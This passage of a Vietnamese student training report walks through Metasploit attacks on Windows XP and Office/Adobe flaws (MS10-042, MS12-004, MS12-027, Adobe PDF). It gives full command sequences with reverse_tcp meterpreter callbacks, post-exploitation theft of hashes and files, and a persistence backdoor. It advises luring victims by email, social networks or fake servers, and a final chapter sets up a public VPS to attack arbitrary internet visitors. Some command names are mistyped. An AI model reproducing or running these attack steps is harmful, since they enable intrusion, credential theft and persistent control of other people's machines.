
ISA và lưu snapshot. Khi cần sử dụng máy ảo A với vai trò là một Domain

Controller hay ISA, ta sẽ dùng trình quản lý Snapshot Manager để chuyển tới

trạng thái mong muốn.

Page 19: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 19

Chương 2: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC XÂM NHẬP TRONG MẠNG

LAN

1. Hệ điều hành Backtrack 5 R3

Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để

thử nghiệm xâm nhập. Backtrack là sự hợp nhất giữa 3 bản phân phối khác nhau

của Linux về thâm nhập thử nghiệm IWHAX, WHOPPIX, và Auditor. Trong phiên

bản hiện tại của nó (5), Backtrack được dựa trên phiên bản phân phối Linux

Ubuntu 11.10.

Công cụ Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác

nhau. Phiên bản hiện nay sử dụng bản phân phối Slackware linux (Tomas

M.(www.slax.org)). Backtrack liên tục cập nhật các công cụ, drivers,... Hiện tại

Backtrack có trên 300 công cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là

sự kết hợp giữa 2 bộ công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor.

Backtrack 5 chứa một số công cụ có thể được sử dụng trong quá trình thử

nghiệm thâm nhập của chúng ta. Các công cụ kiểm tra thâm nhập trong Backtrack

5 có thể được phân loại như sau:

– Information gathering: loại này có chứa một số công cụ có thể được sử

dụng để có được thông tin liên quan đến một mục tiêu DNS, định tuyến, địa chỉ e-

mail, trang web, máy chủ mail, và như vậy. Thông tin này được thu thập từ các

thông tin có sẵn trên Internet, mà không cần chạm vào môi trường mục tiêu.

– Network mapping: loại này chứa các công cụ có thể được sử dụng để

kiểm tra các host đang tồn tại, thông tin về OS, ứng dụng được sử dụng bởi mục

tiêu, và cũng làm portscanning.

– Vulnerability identification: Trong thể loại này, chúng ta có thể tìm thấy

các công cụ để quét các lỗ hổng (tổng hợp) và trong các thiết bị Cisco. Nó cũng

chứa các công cụ để thực hiện và phân tích Server Message Block (SMB) và Simple

Network Management Protocol (SNMP).

– Web application analysis: loại này chứa các công cụ có thể được sử dụng

trong theo dõi, giám sát các ứng dụng web.

Page 20: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 20

– Radio network analysis: Để kiểm tra mạng không dây, bluetooth và nhận

dạng tần số vô tuyến (RFID), chúng ta có thể sử dụng các công cụ trong thể loại

này.

– Penetration: loại này chứa các công cụ có thể được sử dụng để khai thác

các lỗ hổng tìm thấy trong các máy tính mục tiêu.

– Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào

các máy tính mục tiêu, chúng ta có thể sử dụng các công cụ trong loại này để nâng

cao đặc quyền của chúng ta cho các đặc quyền cao nhất.

– Maintaining access: Công cụ trong loại này sẽ có thể giúp chúng ta trong

việc duy trì quyền truy cập vào các máy tính mục tiêu. Chúng ta có thể cần để có

được những đặc quyền cao nhất trước khi các chúng ta có thể cài đặt công cụ để

duy trì quyền truy cập.

– Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dụng các

công cụ trong thể loại này.

– Digital forensics: Trong loại này, chúng ta có thể tìm thấy một số công cụ

có thể được sử dụng để làm phân tích kỹ thuật như có được hình ảnh đĩa cứng,

cấu trúc các tập tin, và phân tích hình ảnh đĩa cứng. Để sử dụng các công cụ cung

cấp trong thể loại này, chúng ta có thể chọn Start Backtrack Forensics trong trình

đơn khởi động. Đôi khi sẽ đòi hỏi chúng ta phải gắn kết nội bộ đĩa cứng và các tập

tin trao đổi trong chế độ chỉ đọc để bảo tồn tính toàn vẹn.

– Reverse engineering: Thể loại này chứa các công cụ có thể được sử dụng

để gỡ rối chương trình một hoặc tháo rời một tập tin thực thi.

– Chúng ta có thể tải bản Backtrack 5 tại địa chỉ:

www.backtracklinux.org/downloads/

2. Phần mềm Metasploit

Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ

hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống

phát hiện tấn công mạng. Metasploit Framework là một môi trường dùng để kiểm

tra, tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn

Page 21: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 21

ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler,

và Python. Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows,

MacOS. Chúng ta có thể download chương trình tại www.metasploit.com

Metasploit hỗ trợ nhiều giao diện với người dùng:

– Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng

các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.

– Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao

diện Web.

– Command line interface: dùng msfcli.

Metasploit Enviroment:

– Global Enviroment: Được thực thi thông qua 2 câu lệnh setg và unsetg,

những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các

module exploits.

– Temporary Enviroment: Được thực thi thông qua 2 câu lệnh set và

unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không

ảnh hưởng đến các module exploit khác Chúng có thể lưu lại enviroment mình đã

cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong ./msf/config và sẽ

được load trở lại khi user interface được thực hiện.

Sử dụng Metasploit Framework:

2.1 Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit

có hỗ trợ để khai thác

Show exploits: xem các module exploit mà framework có hỗ trợ.

Use exploit_name: chọn module exploit.

Info exploit_name: xem thông tin về module exploit.

Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các modul trên

www.metasploit.com hoặc qua lệnh msfupdate hoặc

svnupdat/opt/metasploit/msf3/.

Page 22: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 22

2.2 Cấu hình Module exploit đã chọn:

show options: Xác định những options nào cần cấu hình.

set: cấu hình cho những option của module đó.

Một vài module còn có những advanced options, chúng ta có thể xem bằng

cách gõ dòng lệnh show advanceds.

2.3 Verify những options vừa cấu hình:

check: kiểm tra xem những option đã được set chính xác chưa.

2.4 Lựa chọn target:

show targets: những target được cung cấp bởi module đó.

set: xác định target nào.

2.5 Lựa chọn payload:

show payloads: liệt kê ra những payload của module exploit hiện tại.

info payload_name: xem thông tin chi tiết về payload đó.

set payload payload_name: xác định payload module name. Sau khi lựa chọn

payload nào, dùng lệnh show options để xem những options của payload đó.

show advanced: xem những advanced options của payload đó.

2.6 Thực thi exploit:

exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho

chúng ta những thông tin về hệ thống được khai thác.

Page 23: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 23

3. Sơ đồ tổng quan hệ thống mạng LAN

Sơ đồ tổng quan hệ thống mạng LAN

Trong một mạng LAN nội bộ, các máy tính thường kết nối với nhau với

khoảng cách vật lý gần như trong một phòng, một tầng, một tòa nhà, công ty, …

Các máy tính trong mạng LAN có thể chia sẻ tài nguyên với nhau, mà điển hình là

chia sẻ tập tin, máy in, máy quét và một số thiết bị khác. Khi một máy tính ở trong

mạng LAN, nó có thể sử dụng các chương trình, phần mềm quét hệ thống mạng để

biết được địa chỉ IP các host có trong mạng.

Nmap (Network Mapper) là một tiện ích nguồn mở miễn phí cho phát hiện

mạng và kiểm toán an ninh. Nmap và Zenmap (Công cụ hỗ trợ đồ họa của nmap)

được cài đặt sẵn trong BackTrack, sử dụng các gói tin IP giúp xác định host nào có

sẵn trên mạng, các dịch vụ (tên ứng dụng và phiên bản) mà host đó đang cung

cấp, hệ điều hành gì (và các phiên bản hệ điều hành) mà họ đang chạy, loại bộ lọc

gói tin hoặc tường lửa nào đang sử dụng, và nhiều đặc điểm khác. Nmap chạy

được trên tất cả các hệ điều hành, và các gói nhị phân chính thức có sẵn cho Linux,

Windows, và Mac OSX.

Sau khi xác định được các host có trong mạng, ta có thể sử dụng các công cụ

quét lỗi hệ thống để xác định lỗ hổng của hệ thống muốn xâm nhập, từ đó khai

Page 24: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 24

thác truy cập vào hệ thống. Một trong số các công cụ quét lỗi này là Nessus,

download tại địa chỉ http://www.nessus.org/.

Một khi đã xâm nhập thành công và chiếm được toàn quyền điều khiển hệ

thống, Hacker có thể thực hiện mọi việc trên máy nạn nhân như down/upload

files, thay đổi cấu trúc hệ thống, thực thi chương trình, đánh cắp mật khẩu, cài

trojan/ backdoor, …

4. Xâm nhập và khai thác Windows XP

4.1 Khai thác lổ hỏng Ms10-042

a) Nhận dạng

Microsoft Security Bulletin MS10-042

Lỗ hổng này có thể cho phép thực thi mã từ xa nếu người dùng xem một

trang web thiết kế đặc biệt bằng cách sử dụng một trình duyệt web hoặc nhấp vào

một liên kết thiết kế đặc biệt trong một thông báo e-mail.

b) Phần mềm bị ảnh hưởng:

Cập nhật bảo mật này được đánh giá là Nghiêm Trọng cho tất cả các phiên

bản Microsoft Windows XP, và đánh giá mức độ Thấp cho tất cả các phiên bản

Windows Server 2003

c) Cách thực hiện tấn công:

Cập nhật bảo mật này giải quyết lỗ hổng công khai trong WindowsHelp and

Support Center được cung cấp với các phiên bản của Windows XP và Windows

Server 2003. Lỗ hổng này có thể cho phép thực thi mã từ xa nếu người dùng xem

một trang web đặc biệt qua một trình duyệt web hoặc nhấp vào một liên kết đặc

biệt trong một thông báo e-mail.

Bản cập nhật bảo mật xác định các lỗ hổng bằng cách thay đổi cách thức mà

dữ liệu được xác nhận khi được truyền cho Windows Help and Support Center.

Cập nhật bảo mật này cũng xác định các lỗ hổng được mô tả đầu tiên

trong Microsoft Security Advisory 2219475.

d) thực hiện

1. Mô hình bài Lab:

Page 25: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 25

Máy Hacker:

Hệ điều hành: Sử dụng Backtrack 5

IP: 192.168.132.137

Máy nạn nhân:

Hệ điều hành: Sử dụng Windows XP

IP: 192.168.132.138

2. Cách khai thác:

Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

Từ dấu nhắc sử dụng lệnh:

msf > search ms10_042

copy đường dẫn, enter gõ use “dán đường dẫn vào”

msf > use exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec

Gõ show options để thấy các options của lệnh.

msf exploit(ms10_042_helpctr_xss_cmd_exec) > show options

Page 26: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 26

Lần lượt gõ các lệnh sau:

msf exploit(ms10_042_helpctr_xss_cmd_exec) > set SRVHOST 192.168.132.137

msf exploit(ms10_042_helpctr_xss_cmd_exec) > set PAYLOAD

windows/meterpreter/reverse_tcp

msf exploit(ms10_042_helpctr_xss_cmd_exec) > set LHOST 192.168.132.137

msf exploit(ms10_042_helpctr_xss_cmd_exec) > exploit

Sau khi gõ lệnh exploit để khai thác lỗi ta sẽ thấy chương trình đưa ra cho ta 1 URL

website, lúc này chỉ cần dụ nạn nhân nhập vào URL này, ta sẽ tấn công được máy nạn

nhân. Ở đây URL là:

http://192.168.132.137:80/

Chương trình này sẽ dựa vào lỗi và sẽ mở ra Help and Support Center của máy nạn nhân

Page 27: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 27

Backtrack gửi mã độc qua cho máy nạn nhân

Gõ lệnh sessions để coi Session đang thực hiện, ta thấy có 1 Session đang thực hiện tấn

công tới máy 192.168.132.138 trên port 1207

Gõ lệnh sessions –i 1

Ta đã tấn công được vào máy nạn nhân, ta thấy máy nạn nhân là Windows XP 32 bit.

Page 28: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 28

4.2 Khai thác lổ hỏng Ms12-004

a) Mô tả:

Các lỗ hổng có thể cho phép thực thi mã từ xa nếu người dùng mở một tập

tin phương tiện truyền thông thiết kế đặc biệt. Một kẻ tấn công khai thác thành

công lỗ hổng có thể lấy được quyền sử dụng giống như người dùng địa phương.

Người dùng có tài khoản được cấu hình để có quyền sử dụng ít hơn trên hệ thống

có thể được ít ảnh hưởng hơn so với những người dùng hoạt động với người sử

dụng quyền hành chính..

b) Phần mềm bị ảnh hưởng:

Windows XP

Windows Server 2003

Windows Vista

Windows Server 2008

Windows 7

Windows Server 2008 R2

c) Cách thực hiện tấn công

Khởi động msfconsole tử cửa sổ terminal của BackTrack

> msfconsole

Khai báo lỗ hổng sử dụng và thiết đặt options:

Page 29: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 29

> Search ms12_004

> use exploit/windows/browser/ms12_004_midi

> show options

> set srvhost 192.168.192.130

> set lhost 192.168.192.130

> set payload windows/meterpreter/reverse_tcp

> exploit

BackTrack sẽ tạo ra một link chứa mã độc (http:// 192.168.192.130:80). Chỉ

cần nạn nhân nhấp chuột vào link trên thì BackTrack sẽ tự dộng gửi mã độc sang

máy nạn nhân và sau đó có thể xem thông tin, chiến quyền của máy nạn nhân đó.

Tiến hành khai thác máy nạn nhân

> sessions

> sessions –i 1

4.3 Khai thác lổ hỏng file PDF qua Adobe Reader 9.x

a) Mô tả:

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạn sẽ tạo ra một file mã độc có

đuôi .pdf và gửi cho nạn nhân, làm thế nào để nạn nhân nhận được và mở file có

chứa mã độc đó lên (các bạn có thể tạo một Webserver giả mạo, dụ nạn nhân tải

file đó về hoặc có thể gửi kèm theo mail, quăng lên các mạng xã hội, các nơi tải file

…) và máy nạn nhân đang sử dụng AdobeReader 9.x. máy nạn nhân sẽ bị “nhiễm

độc”.

b) Phần mềm bị ảnh hưởng:

Adobe Reader 9.x chạy trên nền Windows XP SP3

c) Cách thực hiện tấn công:

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạn sẽ tạo ra một file mã độc có đuôi

.pdf và gửi cho nạn nhân, làm thế nào để nạn nhân nhận được và mở file có chứa

mã độc đó lên (các bạn có thể tạo một Webserver giả mạo, dụ nạn nhân tải file đó

về hoặc có thể gửi kèm theo mail, quăng lên các mạng xã hội, các nơi tải file …) và

máy nạn nhân đang sử dụng AdobeReader 9.x. máy nạn nhân sẽ bị “nhiễm độc”.

Page 30: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 30

Mô hình bài Lab

Máy Hacker:

Hệ điều hành: Sử dụng Backtrack 5

IP: 192.168.119.132

Máy nạn nhân:

Hệ điều hành: Sử dụng Windows XP

IP: 192.168.119.129

Cách khai thác:

Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

Từ dấu nhắc sử dụng lệnh dưới để search mã lỗi trong msf

msf > search adobe_pdf

copy đường dẫn, ở đây ta sử dụng adobe_pdf_embedded_exe, enter gõ use “dán đường

dẫn vào”

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

Gõ lệnh show options để thấy những option của lỗi

msf exploit(adobe_pdf_embedded_exe) > show options

Page 31: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 31

Ở đây ta thấy bắt buộc phải tạo INFILENAME

Lần lượt gõ các lệnh:

msf exploit(adobe_pdf_embedded_exe) > set filename filemadoc.pdf

Copy sẵn 1 file pdf bất kỳ làm infilename, ở đây mình có sẵn 1 file infilename.pdf ngoài

Desktop.

msf exploit(adobe_pdf_embedded_exe) > set infilename /root/Desktop/infilename.pdf

msf exploit(adobe_pdf_embedded_exe) > set LHOST 192.168.119.132

Địa chỉ này là địa chỉ IP của máy Hacker chính là máy BackTrack.

msf exploit(adobe_pdf_embedded_exe) > set PAYLOAD

windows/meterpreter/reverse_tcp

msf exploit(adobe_pdf_embedded_exe) > exploit

Ta sẽ thấy có một file filemadoc.pdf được tạo ra (đây chỉ là ví dụ các bạn đặt tên theo ý

mình thích), ta copy file “filemadoc.pdf” đã được tạo ra ngoài Desktop cho dễ sử dụng.

msf exploit(adobe_pdf_embedded_exe) > cp /root/.msf4/local/filemadoc.pdf

/root/Desktop

Page 32: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 32

Vậy là việc tạo ra file chứa mã độc đã xong, giờ ta gửi file này cho nạn nhân để nạn nhân

chạy file này là sẽ bị dính mã độc. Trong môi trường lab nên mình dựng luôn một

Webserver để nạn nhân truy cập vào. Máy BackTrack đã hỗ trợ sẵn cho ta Webserver ta

chỉ việc chạy.

Upload file “filemadoc.pdf” lên Webserver bằng cách đưa nó vào thư mục “/var/www”

Start Webserver ảo bằng lệnh (mở một cửa số cmd khác).

root@bt:~# service apache2 start

* Starting web server apache2 [ OK ]

Giờ ta qua máy nạn nhân truy cập vào Webserver ta đã dựng và tải file “filemadoc.doc”

về.

Khi nạn nhân mở file lên thì mã độc sẽ được tiêm vào.

Page 33: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 33

Tạo ra một trình lắng nghe

msf exploit(adobe_pdf_embedded_exe) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) >set LHOST 192.168.119.132

msf exploit(handler) > exploit

Kiểm tra máy hacker ta thấy mã độc đã được tiêm vào máy nạn nhân

Mã độc đã được tiêm từ máy 192.168.119.132:4444 tới máy

192.168.119.129:1210

Giờ ta có thể khai thác được máy nạn nhân

Page 34: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 34

Gõ getuid để thấy thông tin username, getinfo để biết thông tin máy, ls C:\ để xem

ổ đĩa, mkdir để tạo thư mục, … nói chung ta đã hoàn toàn kiểm xoát được máy nạn

nhân

.

4.4 Khai thác lỗ hỏng Ms12-027

Mô tả:

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạn sẽ tạo ra một file mã độc có đuôi

.doc và gửi cho nạn nhân, làm thế nào để nạn nhân nhận được và mở file có chứa

mã độc đó lên (các bạn có thể tạo một web server giả mạo, dụ nạn nhân tải file đó

về hoặc có thể gửi kèm theo mail, …) máy nạn nhân đang sử dụng Microsoft Office

2007 (no-SP/SP1/SP2/SP3) trên Windows (XP SP3 / 7 SP1) English là máy nạn

nhân sẽ bị “nhiễm độc”.

Mô hình bài Lab

Máy Hacker:

Hệ điều hành: Sử dụng Backtrack 5

IP: 192.168.119.132

Máy nạn nhân:

Hệ điều hành: Sử dụng Windows XP

IP: 192.168.119.129

Cách khai thác:

Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

Từ dấu nhắc sử dụng lệnh dưới để search mã lỗi trong msf

msf > search ms12_027

copy đường dẫn, enter gõ use “dán đường dẫn vào”

Page 35: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 35

msf > use exploit/windows/fileformat/ms12_027_mscomctl_bof

Gõ lệnh show options để thấy những option của lỗi

msf exploit(ms12_027_mscomctl_bof) > show options

Ở đây ta thấy bắt buộc phải tạo FILENAME

Lần lượt gõ các lệnh:

msf exploit(ms12_027_mscomctl_bof) > set filename filemadoc.doc

Ta sẽ thấy có một file filemadoc.doc được tạo ra (đây chỉ là ví dụ các bạn đặt tên theo ý

mình thích)

msf exploit(ms12_027_mscomctl_bof) > set payload windows/meterpreter/reverse_tcp

msf exploit(ms12_027_mscomctl_bof) > set LHOST 192.168.119.132

Địa chỉ này là địa chỉ IP của máy Hacker chính là máy BackTrack.

msf exploit(ms12_027_mscomctl_bof) > exploit

Gõ lệnh exploit để thực thi

msf exploit(ms12_027_mscomctl_bof) > cp /root/.msf4/local/filemadoc.doc

/root/Desktop

ta copy file “filemadoc.doc” đã được tạo ra ngoài Desktop cho dễ sử dụng.

Page 36: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 36

Vậy là việc tạo ra file chứa mã độc đã xong, giờ ta gửi file này cho nạn nhân để nạn nhân

chạy file này là sẽ bị dính mã độc. Trong môi trường lab nên mình dựng luôn một

Webserver để nạn nhân truy cập vào. Máy BackTrack đã hỗ trợ sẵn cho ta Webserver ta

chỉ việc chạy.

Upload file “filemadoc.doc” lên Webserver bằng cách đưa nó vào thư mục “/var/www”

Start Webserver ảo bằng lệnh

root@bt:~# service apache2 start

* Starting web server apache2 [ OK ]

Tạo ra một trình lắng nghe

msf exploit(ms12_027_mscomctl_bof) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.119.132

msf exploit(handler) > exploit

Page 37: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 37

Giờ ta qua máy nạn nhân truy cập vào WEBSERVER ta đã dựng và tải file “filemadoc.doc”

về.

Khi nạn nhân mở file lên thì mã độc sẽ được tiêm vào.

Kiểm tra máy hacker ta thấy mã độc đã được tiêm vào máy nạn nhân

Page 38: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 38

Mã độc đã được tiêm từ máy 192.168.119.132:4444 tới máy 192.168.119.129:1040

Giờ ta có thể khai thác được máy nạn nhân

Gõ getuid để thấy thông tin username, getinfo để biết thông tin máy, ls C:\ để xem ổ đĩa,

mkdir để tạo thư mục, … nói chung ta đã hoàn toàn kiểm xoát được máy nạn nhân

4.5 Khai thác thông tin sau khi đã tấn công:

Xem thông tin hệ thống:

> getuid

> sysinfo

Tải lên và đánh cắp tài liệu

– Tải file abc.txt tại Desktop của Back Track lên ổ C của XP

> upload /root/Desktop/abc.txt C:/

– Đánh cắp file xyz.txt tại ổ C của XP và đem về Desktop của Back Track

> download C:/xyz.txt /root/Desktop

Lấy hashpass:

> haskdump

Khám phá ổ đĩa:

meterpreter> shell

Page 39: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 39

– Chuyển dấu nhắc sang ổ đĩa C:

> cd c:\

– Liệt kê tài nguyên trong ổ C:

> dir

– Tạo thư mục abc trong ổ C:

> md abc

– Xóa thư mục abc trong ổ C:

> rd abc

– Xóa file abc.txt trong ổ C:

> del abc.txt

– Trở về meterpreter:

> exit

Giữ kết nối với Victim khi Victim mất mạng hay khởi động lại tại port 7777

> run persistence -A -S -U -X -i 1500 -P 7777

Page 40: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 40

Chương 3: XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP

LỖ HỔNG TỪ XA QUA MẠNG INTERNET

1. Máy Chủ Ảo (VPS)

1.1 Định nghĩa

Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một máy

chủ vật lý thành nhiều máy chủ ảo. Trong khi trên một server chạy một Share

Host thì có thể có hàng trăm tài khoản chạy cùng lúc, nhưng trên server chạy VPS

thì con số này chỉ bằng 1/10. Do vậy, VPS có hiệu năng cao hơn Share Host rất

nhiều.

Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có

toàn quyền quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy, VPS

hạn chế 100% khả năng bị hack local.

Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung

tài nguyên server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh

hưởng đến các Website khác cùng server, riêng server VPS, một tài khoản trên

VPS bị tấn công thì mọi tài khoản khác trên VPS đều hoạt động bình thường.

VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn

nặng, nếu chạy trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên, VPS đòi

hỏi người sử dụng phải có thêm một số kiến thức về bảo mật, cấu hình server,….

1.2 Đặc điểm về thông số VPS

Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng,

dung lượng RAM riêng, dung lượng ổ HDD riêng, địa chỉ IP và hệ điều hành riêng.

Tiết kiệm được nhiều chi phí so với việc thuê một server riêng.

Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng

dụng khác thì có thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web

bằng trình duyệt Web trên VPS, dowload/upload bittorrent với tốc độ cao…

Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài

nguyên mà không cần phải khởi động lại hệ thống.

Page 41: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 41

Có thể cài lại hệ điều hành với thời gian từ 5-10 phút.

Có tính chất quản lý nội bộ riêng của doanh nghiệp.

Không tốn chi phí mua thiết bị, chi phí bảo dưỡng.

Có thể quản trị từ xa, cài đặt các ứng dụng quản trị doanh nghiệp, CRM, quản

lý khách hàng, bán hàng trực tuyến...

2. Honeypot

Honeypot là một hệ thống tài nguyên thông tin được xây dựng với mục đích

giả dạng đánh lừa những kẻ sử dụng và xâm nhập không hợp pháp, thu hút sự chú

ý của chúng, ngăn không cho chúng tiếp xúc với hệ thống thật. Hệ thống tài

nguyên thông tin có nghĩa là Honeypot có thể giả dạng bất cứ loại máy chủ tài

nguyên nào như là Mail Server, Domain Name Server, Web Server… Honeypot sẽ

trực tiếp tương tác với tin tặc và tìm cách khai thác thông tin về tin tặc như hình

thức tấn công, công cụ tấn công hay cách thức tiến hành thay vì bị tấn công. Với

mục tiêu xây dựng Honeypot để xâm nhập vào lỗ hổng hệ thống máy tính qua

Internet, Hacker có thể sử dụng Máy chủ ảo (VPS) và cài đặt Honeypot để giả dạng

là một Web server bình thường, từ đó đánh lừa máy nạn nhân khi một máy tính

bất kỳ có kết nối Internet truy cập vào địa chỉ mà VPS cung cấp.

3. Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet

Sơ đồ tổng quan sử dụng Honeypot

Page 42: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 42

Hacker cần chuẩn bị:

VPS có địa chỉ IP public, cài đặt sẵn công cụ Metasploit (download tại

http://metasploit.org) đóng vai trò là một Honeypot trên mạng.

4. Tấn công qua Internet

4.1 Các lỗi bảo mật:

a) Lỗi bảo mật Ms06-067:

Mô tả:

– Là lỗi làm cho IE bị tràn bộ đệm, để có thể dựa vào đó mà tấn công và

thực hiện mã lệnh từ xa.

Hệ điều hành bị ảnh hưởng:

– Windows XP Universal

– Windows 2000 Universal

– Windows Server 2003 Universal

b) Lỗi bảo mật Ms10-046:

Mô tả:

– Một lỗ hổng được công bố công khai trong Windows Shell. Các lỗ hổng

có thể cho phép thực thi mã từ xa nếu biểu tượng của một phím tắt thiết kế đặc

biệt được hiển thị. Một kẻ tấn công khai thác thành công lỗ hổng này có thể đạt

được các quyền người dùng tương tự như người dùng địa phương. Người dùng có

tài khoản được cấu hình để có quyền sử dụng ít hơn trên hệ thống có thể được ít

ảnh hưởng hơn so với những người dùng hoạt động với người sử dụng quyền

hành chính.

Phần mềm bị ảnh hưởng:

– Windows XP Service Pack 3

– Windows XP Professional x64 Edition Service Pack 2

– Windows Server 2003 Service Pack 2

– Windows Server 2003 x64 Edition Service Pack 2

– Windows Server 2003 with SP2 for Itanium-based Systems

– Windows Vista Service Pack 1 and Windows Vista Service Pack 2

Page 43: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 43

– Windows Vista x64 Edition Service Pack 1 and Windows Vista x64

Edition Service Pack 2

– Windows Server 2008 for 32-bit Systems and Windows Server 2008 for

32-bit Systems Service Pack 2

– Windows Server 2008 for x64-based Systems and Windows Server

2008 for x64-based Systems Service Pack 2

– Windows Server 2008 for Itanium-based Systems and Windows Server

2008 for Itanium-based Systems Service Pack 2

– Windows 7 for 32-bit Systems

– Windows 7 for x64-based Systems

– Windows Server 2008 R2 for x64-based Systems

– Windows Server 2008 R2 for Itanium-based System

c) Lỗi bảo mật Ms11-003:

Mô tả:

– Là lỗi dựa trên CSS của IE, khai thác vào lỗ hỏng của HTML. Khi nó phân

tích một trang HTML có chứa hàm đệ quy, hàm này sẽ bị xóa nhưng sau đó được

sử dụng lại.

Phần mềm bị ảnh hưởng:

– Internet Explorer 6

– Internet Explorer 7

– Internet Explorer 8

d) Lỗi bảo mật Ms12-063:

Mô tả:

– Khi tải một trang web bình thường sẽ có một Object với một hàm get gọi

là Object IMSHTCP. Nhưng nếu có sự can thiệp, khi load trang thì bất ngờ Object

này bị xóa đi và sau đó được sử dụng lại, từ đó Hacker có thể thâm nhập vào

Phần mềm bị ảnh hưởng:

– Internet Explorer 7 trên Windown XP SP3

– Internet Explorer 8 trên Windown XP SP3

– Internet Explorer 7 trên Windown Vista

Page 44: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 44

– Internet Explorer 8 trên Windown XP SP3

– Internet Explorer 8 trên Windown 7

– Internet Explorer 9 trên Windown 7

e) Lỗi bảo mật Ms13-009:

Phần mềm bị ảnh hưởng:

– Internet Explorer 8 trên Windown XP SP3

4.2 Cách tấn công:

Tại cửa sổ Metasploit console, ta sử dụng các lệnh sau để tạo một server lắng

nghe các sự truy cập từ bên ngoài

> search Msxy_abc

(Với xy_abc là một trong các lỗi cần khai thác, Ms06_067,

Ms10_046, Ms11_003, Ms12_063, Ms13_009)

> use exploit/windows/browser/mã_lỗi_khai_thác

Với các mã lỗi khai thác:

Ms06_067: ms06_067_keyframe

Ms10_046: ms10_046_shortcut_icon_dllloader

Ms11_003: ms11_003_ie_xss_import

Ms12_063: ie_execommane_uaf

Ms13_009: ms13_009_slayoutrun_uaf

> show options

(Xem thông tin thiết đặt)

> set srvhost 14.0.21.184

(VPS được đăng ký với địa chỉ IP 14.0.21.184)

> set lhost 14.0.21.184

> set uripath test

(Đường dẫn kèm theo IP, nếu không set, metasploit sẽ chọn ngẫu

nhiên đường dẫn bất kỳ)

> set srvport 80

